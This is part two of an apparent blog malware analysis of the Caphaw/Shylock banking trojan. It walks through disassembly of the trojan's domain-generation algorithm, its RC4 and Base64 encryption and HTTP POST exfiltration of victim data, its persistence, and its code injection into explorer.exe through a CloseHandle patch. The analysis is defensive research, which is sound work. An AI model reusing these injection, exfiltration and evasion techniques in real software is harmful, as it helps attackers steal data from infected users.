In depth analysis of Caphaw/Shylock from “FirefoxUpdate.exe” campaign – Part 2

Welcome to the second part of our analysis of Caphaw/Shylock. In the first chapter we have gone through the dropping and unpacking stages of this malware. In this second part we will go through the remaining HSE:: Step(s) – in particular we will see how the previously gathered information will be used, the network interactions between the bot and the Command and Control Server and finally how Caphaw injects its malicious code inside explorer.exe process.


Evilcry (@Blackmond) and Cthulhu(@0s0urce).

Exploring the Core – Part 2

In the last episode we left our analysis at “HSE::Step 5 (It’s the first starting).” and more precisely inside call 00EE48DB, immediately after victim’s data collection phase.

00EED33F    8BFC            MOV EDI,ESP
00EED341    E8 D787FEFF     CALL 00ED5B1D
00EED346    E8 DCA4FFFF     CALL 00EE7827	; ECX points to one of the previously decrypted URLs
00EED34B    8D75 D4         LEA ESI,[EBP-2C]

The presence of an URL in ECX suggests that we are should be close to the network functionality. Let’s go ahead and analyse call 00EE7827 isolating the most important subcalls.

00EE783B    8D45 FC         LEA EAX,[EBP-4]
00EE783E    50              PUSH EAX            ; points to one of the previously decrypted URLs
00EE783F    E8 7DF9FFFF     CALL 00EE71C1
00EE7844    59              POP ECX

Inside call 00EE711C1:

00EE71CD    B8 1095EB00     MOV EAX,0EB9510
00EE71D2    E8 5A4A0000     CALL 00EEBC31					; decrypt "abcdefghijklmnopqrstuvwxyz0123456789"
00EE71D7    8D45 0C         LEA EAX,[EBP+0C]
00EE7220    8B75 EC         MOV ESI,DWORD PTR SS:[EBP-14]              ; pointer to the alphabet string in ESI
00EE7223    C645 FD 00      MOV BYTE PTR SS:[EBP-3],0
00EE7227    8BD8            MOV EBX,EAX
00EE7229    85F6            TEST ESI,ESI
00EE722B    75 04           JNE SHORT 00EE7231
00EE722D    33C0            XOR EAX,EAX
00EE722F    EB 07           JMP SHORT 00EE7238
00EE7231    8BCE            MOV ECX,ESI
00EE7233    E8 DDE0FEFF     CALL 00ED5315                              ; strlen(alphabet)
00EE7238    50              PUSH EAX
00EE7239    E8 B811FFFF     CALL 00ED83F6                              ; pick a number between 0 and 0x24
00EE723E    59              POP ECX                                    ; EAX contains the chosen digit
00EE723F    85F6            TEST ESI,ESI
00EE7241    75 04           JNE SHORT 00EE7247
00EE7243    33C0            XOR EAX,EAX
00EE7245    EB 02           JMP SHORT 00EE7249
00EE7247    03C6            ADD EAX,ESI                                ; sum the chosen digit with alphabet table
00EE7249    8A00            MOV AL,BYTE PTR DS:[EAX]
00EE724B    8845 FC         MOV BYTE PTR SS:[EBP-4],AL                 ; alphabet character at digit-chosen position
00EE724E    8D45 FC         LEA EAX,[EBP-4]
00EE7251    50              PUSH EAX
00EE7252    8D7D F0         LEA EDI,[EBP-10]
00EE7255    E8 4AEBFEFF     CALL 00ED5DA4
00EE725A    4B              DEC EBX
00EE725B  ^ 75 CC           JNE SHORT 00EE7229                         ; next iteration

ECX finally points to the final string, in our case we have:

ECX = “3m9ojygm0zm3y”

The next piece of code is from the same call:

00EE726E    FF30            PUSH DWORD PTR DS:[EAX]                    ; 'https://'
00EE7270    8D75 F4         LEA ESI,[EBP-0C]
00EE7273    E8 75E8FEFF     CALL 00ED5AED
00EE7278    FF75 F0         PUSH DWORD PTR SS:[EBP-10]                 ; new builded string 3m9ojygm0zm3y
00EE727B    8BFE            MOV EDI,ESI
00EE727D    E8 22EBFEFF     CALL 00ED5DA4                              ; strcat(http://, new_string)
00EE7282    FF75 F4         PUSH DWORD PTR SS:[EBP-0C]                 ; "https://3m9ojygm0zm3y"
00EE72B5    8BFE            MOV EDI,ESI
00EE72B7    E8 E8EAFEFF     CALL 00ED5DA4
00EE72BC    8BDE            MOV EBX,ESI                                ; finally ""

The result of call 00EE71C1 is given by the string:


As it should be clear call 00EE71C1 contains the DGA (Domain Generation Algorithm) function. More information about DGA techniques here.

After call 00EE71C1 the next important call is reported below:

00EE7852    50              PUSH EAX			
00EE7853    E8 D6FCFFFF     CALL 00EE752E	
00EE7858    8D45 0C         LEA EAX,[EBP+0C]

Inside call 00EE752E:

00EE7541    50              PUSH EAX
00EE7542    E8 048D0000     CALL 00EF024B   ; cut string as 'dga-subdomain.domain.tld'
00EE7547    8D45 FC         LEA EAX,[EBP-4]
00EE754B    B8 DC93EB00     MOV EAX,0EB93DC
00EE7550    E8 DC460000     CALL 00EEBC31	; decrypt ca5f2abe
00EE7555    83C4 0C         ADD ESP,0C
00EE755E    8BF8            MOV EDI,EAX
00EE7560    E8 88E5FEFF     CALL 00ED5AED
00EE7565    FF37            PUSH DWORD PTR DS:[EDI]         ; ASCII "ca5f2abe"
00EE7565    FF37            PUSH DWORD PTR DS:[EDI]         
00EE7567    8BFE            MOV EDI,ESI
00EE7569    E8 36E8FEFF     CALL 00ED5DA4		    ; strcat(, ca5f2abe)
00EE756E    8D75 FC         LEA ESI,[EBP-4]		    ; result = "3ptv80m1lofln6y.tohk5ja.ccca5f2abe"
00EE757C    E8 9CE5FEFF     CALL 00ED5B1D
00EE7581    8B17            MOV EDX,DWORD PTR DS:[EDI]      ; POST data "key=a323e7d52d&id=57..
00EE7583    85D2            TEST EDX,EDX
00EE758B    8BCA            MOV ECX,EDX     
00EE758D    E8 83DDFEFF     CALL 00ED5315		    ; strlen(POST data)
00EE7592    8BF0            MOV ESI,EAX
00EE759F    E8 71DDFEFF     CALL 00ED5315     ; EAX = strlen(3ptv80m1lofln6y.tohk5ja.ccca5f2abe)
00EE75A4    56              PUSH ESI	      ; ESI = POST data len.
00EE75A5    52              PUSH EDX	      ; EDX = POST data string
00EE75A6    50              PUSH EAX	      ; EAX = strlen(3ptv80m1lofln6y.tohk5ja.ccca5f2abe)
00EE75A7    51              PUSH ECX	      ; ECX = 3ptv80m1lofln6y.tohk5ja.ccca5f2abe 
00EE75A8    E8 1361FFFF     CALL 00EDD6C0

One of the most used encryption algorithms usually is RC4, so in first instance we will do some assumptions and later on we will demonstrate this hypothesis:

Hypothesis – RC4 encryption

  • Assumption 1: experience tells us that CALL 00EDD6C0 – COULD be RC4.
  • Assumption 2: EDX points to the code to be encrypted (actually the plaintext).
  • Assumption 3: ECX points to the encryption key.

and now we have to formulate a sequence of steps in order to demonstrate our idea.

Verification of our hypothesis:

  1. Dump to file of ECX pointed buffer (POST data).
  2. Buffer contains extra data, we have to carve the plaintext (from ‘key=’ to NULL byte)
  3. Apply cryptographic filter.
  4. Compare results of the crypto filter with the output from CALL 00EDD6C0.

For this demonstration it will come in handy Profiler, where we can apply a cryptographic filter to a specified block of data.


Now we can execute CALL 00EDD6C0 and match the results.

We have demonstrated, without wasting too much time, that the algorithm used is RC4. Let’g go ahead.

00EE75B3    56              PUSH ESI       ; Post data len
00EE75B4    E8 C363FFFF     CALL 00EDD97C
00EE75B9    8BD8            MOV EBX,EAX    ; ASCII "Qo/D+FhsV7onrJuo1Oa3jW54YpipEAsv5QXgQCMleF82in28voElcco

The most obious thing here is that Caphaw applies a layer of Base64 to the RC4 ciphertext. We can verify our assumption again with the base64 conversion filter exposed by Profiler.


In synthesis:

data_to_be_sent = Encode_Base64(Encrypt_RC4(post_data, dga_based_key))

and finally the following string is assembled:


Please note that the encryption key is composed of a dynamic part (DGA generated domain) and a static string given by ca5f2abe. Such key building scheme will allow the receiving DGA generated domain to decrypt the POST data, because the domain name is in itself a piece of the encryption key, the remaining shared secret is given by the static string ca5f2abe.

The domain name is in itself a piece

of the encryption key, the remaining

shared secret is given by the static

string ca5f2abe.

Next call to be analysed:

00EE7873    8B45 10         MOV EAX,DWORD PTR SS:[EBP+10]
00EE7876    E8 8F7F0000     CALL 00EEF80A
00EE787B    59              POP ECX

Inside 00EEF80A

00EEF81B    E8 FD62FEFF     CALL 00ED5B1D
00EEF820    E8 9CF9FFFF     CALL 00EEF1C1
00EEF825    59              POP ECX

And again inside 00EEF1C1 we have call 00EEEAF8 where we find:

00EEEB0E    8B15 8482EF00   MOV EDX,DWORD PTR DS:[0EF8284]
00EEEB14    8B4A 38         MOV ECX,DWORD PTR DS:[EDX+38]	; previously computed MD5 hash
00EEEB17    85C9            TEST ECX,ECX
00EEEB19    74 31           JE SHORT 00EEEB4C
00EEEB1B    E8 F567FEFF     CALL 00ED5315		; strlen(MD5_hash)
00EEEB20    3BF0            CMP ESI,EAX			; jump if all MD5 chars are computed	
00EEEB22    73 28           JAE SHORT 00EEEB4C
00EEEB24    8BC1            MOV EAX,ECX
00EEEB26    85C0            TEST EAX,EAX
00EEEB28    74 02           JE SHORT 00EEEB2C
00EEEB2A    03C6            ADD EAX,ESI
00EEEB2C    8A00            MOV AL,BYTE PTR DS:[EAX]
00EEEB2E    8D48 D0         LEA ECX,[EAX-30]
00EEEB31    80F9 09         CMP CL,9			; if current md5 is not a digit
00EEEB34    77 13           JA SHORT 00EEEB49		; jump to the next md5 char
00EEEB36    8845 FC         MOV BYTE PTR SS:[EBP-4],AL
00EEEB39    8D45 FC         LEA EAX,[EBP-4]
00EEEB3C    50              PUSH EAX
00EEEB3D    8D7D F8         LEA EDI,[EBP-8]
00EEEB40    C645 FD 00      MOV BYTE PTR SS:[EBP-3],0
00EEEB44    E8 5B72FEFF     CALL 00ED5DA4		; strcat next digit
00EEEB49    46              INC ESI
00EEEB4A  ^ EB C2           JMP SHORT 00EEEB0E		;next iteration
00EEEB83    E8 5F75FEFF     CALL 00ED60E7 ; select first 4 chars of the hash
00EEEBBF    B8 D88CEB00     MOV EAX,0EB8CD8
00EEEBC4    E8 68D0FFFF     CALL 00EEBC31	; decrypt "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.%s)"
00EEEBCE    8BC6            MOV EAX,ESI
00EEEBD0    E8 4A74FEFF     CALL 00ED601F	; sprintf user-agent with selected 4 digits

This piece of code selects only digit values from the previously computed hash, here is a quick summary:

filter_by_digits("571C8ECED4FAF69E4A38507B4417257B") = "57184694385074417257"
select_4_digits("57184694385074417257") = 5718
Assemble User-Agent string = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.5718)"

As you can see .NET CLR version 1.0.5718 is composed by the 4-digits-hash version. The user-agent depends on previously computed hash (which can be considered as an Indicator of Compromise) will allow the server to evaluate the consistency and authenticity of the request.

00EEEC1C    57              PUSH EDI					; EDI = 0
00EEEC1D    57              PUSH EDI
00EEEC1E    57              PUSH EDI
00EEEC1F    57              PUSH EDI
00EEEC20    FF75 FC         PUSH DWORD PTR SS:[EBP-4] 	; User-Agent string
00EEEC23    FF15 9484EF00   CALL DWORD PTR DS:[0EF8494]	; InternetOpenA
00EEF20F    E8 0969FEFF     CALL 00ED5B1D
00EEF214    E8 F9FEFFFF     CALL 00EEF112 	; InternetConnectA(DGA_domain)
00EEF227    C745 FC C0D4010 MOV DWORD PTR SS:[EBP-4],1D4C0
00EEF22E    E8 6FF4FFFF     CALL 00EEE6A2	; InternetSetOption	
00EEF233    8D45 FC         LEA EAX,[EBP-4]

These three API calls (InternetOpenA, InternetConnectA, InternetSetOption) initialise the malware’s use of the WinInet functions then they open an HTTP session for the given DGA domain.

00EEF0DF    53              PUSH EBX	; 0
00EEF0E0    57              PUSH EDI	; 84A83300
00EEF0E1    53              PUSH EBX	; 0
00EEF0E2    53              PUSH EBX	; 0
00EEF0E3    53              PUSH EBX	; 0
00EEF0E4    50              PUSH EAX	; '/ping.html'
00EEF0E5    FF75 10         PUSH DWORD PTR SS:[EBP+10]	; 'POST'
00EEF0E8    FF75 08         PUSH DWORD PTR SS:[EBP+8]
00EEF0EB    FF15 9C84EF00   CALL DWORD PTR DS:[0EF849C]	; HttpOpenRequestA

This piece of code creates an HTTP request handle and later decrypts a few strings that will be used to build a proper request header:

Decrypt string: “Content-Type: application/x-www-form-urlencoded”
Decrypt string: “Accept-Language: en-US;q=0.2,en”

Everything is now ready in order to send the POST request:

00EEEFDC    FF75 14         PUSH DWORD PTR SS:[EBP+14]
00EEEFDF    FF75 10         PUSH DWORD PTR SS:[EBP+10]
00EEEFE2    FF75 0C         PUSH DWORD PTR SS:[EBP+0C]
00EEEFE5    FF75 08         PUSH DWORD PTR SS:[EBP+8]
00EEEFE8    53              PUSH EBX
00EEEFE9    FF15 A084EF00   CALL DWORD PTR DS:[0EF84A0]		; HttpSendRequestA

Since we are dealing with DGA, it’s a very common situation that the requested domain is offline, for this reason Caphaw needs a to reiterate the request until an active domain replies. In the core (the component we are analysing now) this attempt is restricted to a limited number of attempts, while in the explorer.exe injected code we will see a thread dedicated to this specific scope.

We have finished the very long Call 00EE48DB (please refer to the first part of the article) that characterised the HSE::Step 5. In synthesis this call:

  • Collects information about the victim in order to build a POST request.
  • Generates via DGA the domains where stolen data will be sent.
  • Encrypts the collected details.
  • Contacts and sends POST request to the malicious domains.

We are now again inside the main call, as usual we will consider only the most significant calls.

00EF5F34    66:C74424 19 3A MOV WORD PTR SS:[ESP+19],3A	; c: (in our case)
00EF5F3B    E8 D625FEFF     CALL 00ED8516		; GetDriveTypeA( c: )
00EF5F40    59              POP ECX
00EF5F41    85C0            TEST EAX,EAX
00EF5F43    74 05           JE SHORT 00EF5F4A
00EF5F45    83F8 03         CMP EAX,3
00EF5F48    75 0F           JNE SHORT 00EF5F59		; check if the drive is DRIVE_FIXED (HDD or flash drive for example)
00EF5F4A    8B4424 18       MOV EAX,DWORD PTR SS:[ESP+18] ; EAX point to FirefoxUpdate.exe's path

This is a basic check to understand from what kind of drive the malicious binary has been executed. Immediately after this call we reach HSE::Step 7.

00EF5F63    E8 C95CFFFF     CALL 00EEBC31		;HSE::Step 7
00EF5F68    59              POP ECX
00EF5F69    8D7424 10       LEA ESI,[ESP+10]
00EF5F6D    E8 F6FBFDFF     CALL 00ED5B68
00EF5F72    FF7424 18       PUSH DWORD PTR SS:[ESP+18]
00EF5F76    BE 8082EF00     MOV ESI,0EF8280
00EF5F7B    E8 596AFEFF     CALL 00EDC9D9		; Copy FirefoxUpdate.exe content into a buffer

Here’s what happens inside call 00EDC9D9c, summarised in pseudo-code:

size = GetFileSize of FirefoxUpdate.exe
Buffer = ReadFile(FirefoxUpdate.exe, size)

This copies the entire content of FirefoxUpdate.exe into a buffer via ReadFile.

00EF6018    E8 145CFFFF     CALL 00EEBC31	; HSE::Step 8
00EF601D    59              POP ECX
00EF601E    8D7424 0C       LEA ESI,[ESP+0C]
00EF6022    E8 41FBFDFF     CALL 00ED5B68
00EF6027    6A 01           PUSH 1
00EF6029    E8 403BFFFF     CALL 00EE9B6E	; setup survival on reboot

HSE::Step 8 is functionally characterised by the installation of a method to remain persistent after reboot, in order to grant that FirefoxUpdate.exe will be executed during each system reboot. Call 00EE9B6E can be synthesised as follows:


If entry does not exists then build a string like this one:

C:\Documents and Settings\<user>\Application Data\Microsoft\Internet Explorer\mmc.exe

mmc.exe file is a copy of FirefoxUpdate.exe binary.


The path and binary name of the new copy could arbitrary change for each infection, in this way Caphaw attempts to disguise itself, making intelligence activities based on research of static artefacts a little more difficult.

00EF6041    E8 EB5BFFFF     CALL 00EEBC31	;HSE::Step 9
00EF6046    59              POP ECX
00EF6047    8D7424 0C       LEA ESI,[ESP+0C]
00EF60C1    E8 6B5BFFFF     CALL 00EEBC31		; explorer.exe
00EF60C6    59              POP ECX
00EF60C7    FF30            PUSH DWORD PTR DS:[EAX] 	; explorer.exe
00EF60C9    E8 9102FEFF     CALL 00ED635F

HSE::Step 9 can be resumed by the call 00ED635F which retrieves PID of explorer.exe by enumerating processes via CreateToolhelp32Snapshot() method. Immediately after, we reach HSE::Step 10 which is the last one.

00EF6134    57              PUSH EDI			; explorer.exe PID
00EF6135    E8 6D51FEFF     CALL 00EDB2A7

Call 00EDB2A7 performs code injection inside explorer.exe process. First operation involves retrieving explorer’s handle:

Access = 
ProcessID = explorer.exe PID

PROCESS_VM_WRITE allows Caphaw to inject code (write) inside explorer via WriteProcessMemory(), OpenProcess() returns the handle for explorer.exe which is 1Bc.

Name = "5J*%$:YL[cXzW=8%.|cTB`!.,}FOur^mC000005E8"

A named mutex is created, the name adopted comes from encrypted MD5_EVT_ or _MTX_ seen in the first part of our analysis.

.1 VirtualAllocEx
hProcess = 000001BC
Address = NULL
Size = 305638.

.2 VirtualAllocEx
hProcess = 000001BC
Address = NULL
Size = 299008.

Here we have two VirtualAllocEx which commit a region of memory within the virtual address space of a specified process, in our case from hProcess = 1BC it’s clear that the target process is explorer.

hProcess = 000001BC
BaseAddress = 0BF0000
Buffer = 00F19018
Size = 299008.
pBytesWritten = 0012F6B8 -> 0

As you can see the size of this WriteProcessMemory matches with VirtualAllocEx . Immediately after we have another WriteProcessA with the following parameters:

hProcess = 000001BC
BaseAddress = 0B90000
Buffer = 00F81328
Size = 305638.
pBytesWritten = 0012F6B8 -> 299008.

This time size matches with the first VirtualAllocEx that has PAGE_EXECUTE_READWRITE protection, this means that we have a block of executable data (Code), we can follow the code in the dump window to observe the source buffer.


An entire PE is injected inside the target process, its whole memory region is executable.

hProcess = 000001BC
Address = NULL
Size = 90.

hProcess = 000001BC
BaseAddress = 0BE0000
Buffer = 00F7F340
Size = 90.
pBytesWritten = 0012F68C -> 444.

Again we have a WriteProcessMemory directed to a block of executable memory, we can inspect the injected code by disassembling data pointed by the Buffer parameter:


Here we have the latest VirtualAllocEx call:

hProcess = 000001BC
Address = 7C809B77
Size = 7
pOldProtect = 0012F688 -> PAGE_NOACCESS

Set PAGE_EXECUTE_READWRITE on the first 7 bytes starting from address 7C809B77 which corresponds to kernel32.CloseHandle.

hProcess = 000001BC
BaseAddress = kernel32.CloseHandle
Buffer = 0012F6BC
Size = 7
pBytesWritten = 0012F68C -> 90.

Here it happens an interesting thing: CloseHandle API used by explorer.exe will be patched, more precisely we have a patch 7 bytes long, let’inspect Buffer parameter:

0012F6BC    90              NOP
0012F6BD    68 0000BE00     PUSH 0BE0000
0012F6C2    C3              RETN

Once reached, RETN execution jumps at address 0BE0000, which is the block of code previously injected via WriteProcessMemory. This is how Caphaw performs Code Injection and executes its own code inside explorer.exe!

7 bytes of CloseHandle() will be patched,

this is how Caphaw performs code injection

inside explorer.exe

The first time that CloseHandle will be called by explorer.exe the execution will jump to the Caphaw malicious code. It is worth to note that the patched API isn’t always CloseHandle, under different circumstances (different OS) the chosen API could change.

All 10 HSE Steps are now completed, malicious code analysis will now continue in explorer.exe.

How to approach and debug the injected code

How do we proceed in order to analyse the injected code?

If we execute the last WriteProcessMemory (the one that patches the API) explorer could call at any time CloseHandle and the malicious code would be automatically executed. As you can see from the 7 disassembled bytes, the landing address is ‘leaked’ -> 0BE0000 this means that we have an address where to set a breakpoint. The first operation is to open another explorer.exe instance inside Olly and locate this leaked address (ctrl + G), set a breakpoint and let explorer run normally. We can now go back to the dropper and execute the patching WriteProcessMemory – the debugged explorer instance will hit the breakpoint right away.


In this second episode we have seen the information gathered and how they are encrypted, how networking activity is performed by Caphaw and finally we have analyzed its code injection capability. We are at 2/3 of our path toward the complete analysis. In the next final episode we will deal with the code injected in explorer.exe. We will meet again DGA algorithm and networking stuff, but this time we will follow another branch. Finally we will also take a glance to Caphaw/Shylock’s configuration and webinjects.